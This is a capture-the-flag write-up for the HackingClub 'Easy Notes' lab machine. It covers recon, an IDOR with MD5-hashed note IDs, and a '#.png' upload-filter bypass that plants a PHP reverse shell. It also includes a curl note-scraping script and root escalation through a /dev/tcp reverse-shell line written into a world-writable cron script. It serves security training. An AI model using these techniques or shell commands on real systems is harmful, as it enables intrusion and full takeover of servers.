[Write-Up] HackingClub: Easy Notes
Table of Contents
Easy Notes #
Recon #
Nmap #
Start out by running Nmap on top 1000 most common ports to find out which services are running on the server. We have SSH and HTTP running on default ports. Also ran Nmap on all ports, no other port was found open.
┌──(kali㉿kali)-[~]
└─$ nmap -sV easynotes.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-03 17:41 -0400
Nmap scan report for easynotes.hc (172.16.10.241)
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: ip-172-16-10-241.ec2.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.50 seconds
Stack #
easynotes.hc #
- Server: Apache HTTP Server 2.4.52
- OS: Ubuntu
- Language: PHP
- Other: Tailwind CSS
admin.easynotes.hc #
- Server: Apache HTTP Server 2.4.52
- OS: Ubuntu
- Language: PHP
- Other: Tailwind CSS
Enumeration #
Domain enumeration #
Running domain enumeration on the service we find another subdomain running on the same web server, which appears to be an administrative interface:
┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://easynotes.hc" -H "Host: FUZZ.easynotes.hc" -w /usr/share/wordlists/dirb/small.txt -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://easynotes.hc
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/small.txt
:: Header : Host: FUZZ.easynotes.hc
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 213ms]
Admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 933ms]
:: Progress: [959/959] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
After this we move on to enumeration and discovery of both the root and the admin domains.
easynotes.hc #
Fuzzing with Ffuf #
┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://easynotes.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://easynotes.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/small.txt
:: Extensions : php html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 211ms]
cgi-bin/ [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 199ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 226ms]
login [Status: 200, Size: 8834, Words: 1819, Lines: 107, Duration: 231ms]
notes [Status: 200, Size: 4711, Words: 1435, Lines: 91, Duration: 210ms]
register [Status: 200, Size: 8577, Words: 1757, Lines: 103, Duration: 214ms]
:: Progress: [2877/2877] :: Job [1/1] :: 186 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
Manual Crawling #
First thing we can find on http://easynotes.com is a login page and a register page. Anyone can register to use the service. With that in mind we proceed to do it.
We create two users:
- user:
testepassword:teste123 - user:
teste2password:teste123
By logging in with these users we discover the functionalities of creating notes, viewing notes and logout of the account.
After we create a note, and another account, we notice that there’s a IDOR vulnerability. Other vulnerabilities are found which are describe on vulnerabilities.
admin.easynotes.hc #
Fuzzing with Ffuf #
On admin.easynotes.hc we run two different enumerations, one for plain pages, shown below:
┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://admin.easynotes.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://admin.easynotes.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/small.txt
:: Extensions : php html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
assets [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 211ms]
cgi-bin/ [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 212ms]
uploads [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 196ms]
:: Progress: [2877/2877] :: Job [1/1] :: 180 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
Since we notice that there’s a page query parameter on admin.easynotes.hc we do fuzzing on the parameter, which the results are shown below:
┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://admin.easynotes.hc/?page=FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html -fs 266
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://admin.easynotes.hc/?page=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/small.txt
:: Extensions : php html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 266
________________________________________________
login [Status: 200, Size: 2710, Words: 749, Lines: 53, Duration: 203ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 216ms]
profile [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 199ms]
:: Progress: [2877/2877] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
Manual Crawling #
Initial unlogged At first glance we just get a login page, we notice that we have a uploads/ folder on discovery, but we do not have access to it initially.
Logged After logged, there’s a page for configuring user profile and avatar. The avatar functionality allow uploading files from our system or from a remote URL. On that functionality, although there’s some filtering by extension, we are able to bypass it and perform an unrestricted file upload.
Vulnerabilities #
easynotes.hc #
IDOR #
By working on both users, we create a note on user teste, save the generate hash for the note.
Then we logout from user teste and login into user teste2, using the hash for the note create on user teste as teste2 we find out that we can access that note.
XSS #
Knowing that one can control the content of a note and show it to another user, that could lead to a XSS. We test it out and we have the power to inject any script into the notes section. This is a note created from user teste accessed on user teste2 as described on the IDOR vulnerability.
Predictable Identifier #
Every note is assigned a hash. We get the hash of the first note created and try to break it, testing it on Crackstation we have:
| Hash | Type | Result |
|---|---|---|
| c20ad4d76fe97759aa27a0c99bff6710 | md5 | 12 |
| If we do the opposite path hashing the number 1, we can access notes created by another users, which could increase the criticality of the IDOR vulnerability. |
admin.easynotes.hc #
Unrestricted File Upload #
There’s a feature to upload an avatar, it can be uploaded from local machine or from remote website. Testing it out we find out there’s a extension based filter.
The feature is not complete, even after uploading a legitimate image, the avatar does not actually switch, but the contents what is upload is store on the endpoints uploads/.
We test some ways to bypass it, simply upload a .php file as .png does not render the file properly, the null byte %00did not bypass the filter, but the remote method allowed the upload of a .php file by using # on the URI.
Exploitation #
Accessing existing notes #
Since we have the IDOR and the predictable identifier for the notes we can write a script to access all the existing notes.
We get an active session ID and create a script to discover other notes by hashing numbers from 0 to 12:
┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ cat get_notes.sh
SID=$1
while [ True ]; do
(( counter++ ))
echo $counter
if [ $counter -ge 15 ]; then
break;
fi
hash=$(printf "%s" "$counter" | md5sum | cut -d' ' -f1)
curl -s -H "Cookie: PHPSESSID=8c09ef4iu5aqvink02cklaq30h" http://easynotes.hc/notes?id=$hash | grep -E "\"title\"|\"content\"" -A2 | grep -vE "<hr class|<p style="
done
By running it we get the contents of all notes up until note 12 (the first one create on testing). On note 5 find we have some relevant findings regarding the subdomain admin found on enumeration:
5
<label for="title" class="sr-only">Title</label>
<p class="block w-full border-0 pt-2.5 text-lg text-sky-950 font-medium placeholder:text-gray-500 px-2 pb-2 ">Note to john</p>
<label for="content" class="sr-only">Content</label>
Hello John, I hope you are well. When testing the app, don't forget to also test our subdomain. Our developer is on vacation but completed several features before leaving. He also created the login credentials before he left, so you should have everything you need to run the tests.
Credentials: usercybersec:cybersec@123
Once you see this note, don't forget to delete it.
Att, Easynotes Team </p>
Logging into admin.easynotes.hc #
With the credentials we found, now we can get access to admin.easynotes.hc, we tried SQL injection bypass on that and didn’t have success, so now with the credentials, we can go further on that application.
As described in manual exploration, there’s a feature to upload avatars for the user.
First off we use that feature in a legitimate way by uploading a image. We notice it don’t actually changes the avatar, but the file seems to be uploaded somewhere. Looking for it on the uploads/ folder, we can access the file with the same name we’ve upload it.
We successfully bypass the filters in place by uploading an image from remote by appending #.png to the page:
http://10.0.9.28:8000/php-reverse-shell.php#.png
With that, we can access that image on http://admin.easynotes.hc/uploads/php-reverse-shell.php, which successfully run the reverse shell, granting us initial foothold on the machine and first user flag:
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.12.60] 44134
Linux ip-172-16-12-60 5.15.0-1031-aws #35-Ubuntu SMP Fri Feb 10 02:07:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
14:06:12 up 1 min, 0 users, load average: 0.25, 0.16, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
www-data@ip-172-16-12-60:/opt$ ls /
bin boot dev etc flag.txt home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var
www-data@ip-172-16-12-60:/opt$ cat /flag.txt
hackingclub{REDACTED}
Privilege Escalation #
Running an script for recon a cron job running every minute is discovery, which appears to perform a backup:
[+] Current user: www-data
User id: uid=33(www-data) gid=33(www-data) groups=33(www-data)
User groups: www-data
(...)
[+] Cron jobs
SHELL=/bin/sh
* * * * * root /opt/backup.sh
Checking the permissions of that script, it’s writeable by everyone, the cron job is run as root, which can lead us to promote the current reverse shell to a root reverse shell:
www-data@ip-172-16-12-60:/$ cd /opt/
www-data@ip-172-16-12-60:/opt$ ls -lhart
total 12K
-rwxr---w- 1 root root 67 May 5 2023 backup.sh
drwxr-xr-x 2 root root 4.0K May 5 2023 .
drwxr-xr-x 19 root root 4.0K Oct 4 14:04 ..
We update the contents of the script to perform a reverse shell on port 4445:
www-data@ip-172-16-12-60:/opt$ echo '/bin/bash -c "bash -i >& /dev/tcp/10.0.9.28/4445 0>&1"' > backup.sh
After we wait for it to run, we get root:
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.12.60] 41114
bash: cannot set terminal process group (1521): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-172-16-12-60:~# whoami
whoami
root
root@ip-172-16-12-60:~# ls /root
ls /root
root.txt
snap
root@ip-172-16-12-60:~# cat /root/root.tx
cat /root/root.txt
hackingclub{REDACTED}
root@ip-172-16-12-60:~#
Flags #
- User (unrestricted file upload RCE):
hackingclub{REDACTED} - Root (world-writable cron backup script):
hackingclub{REDACTED}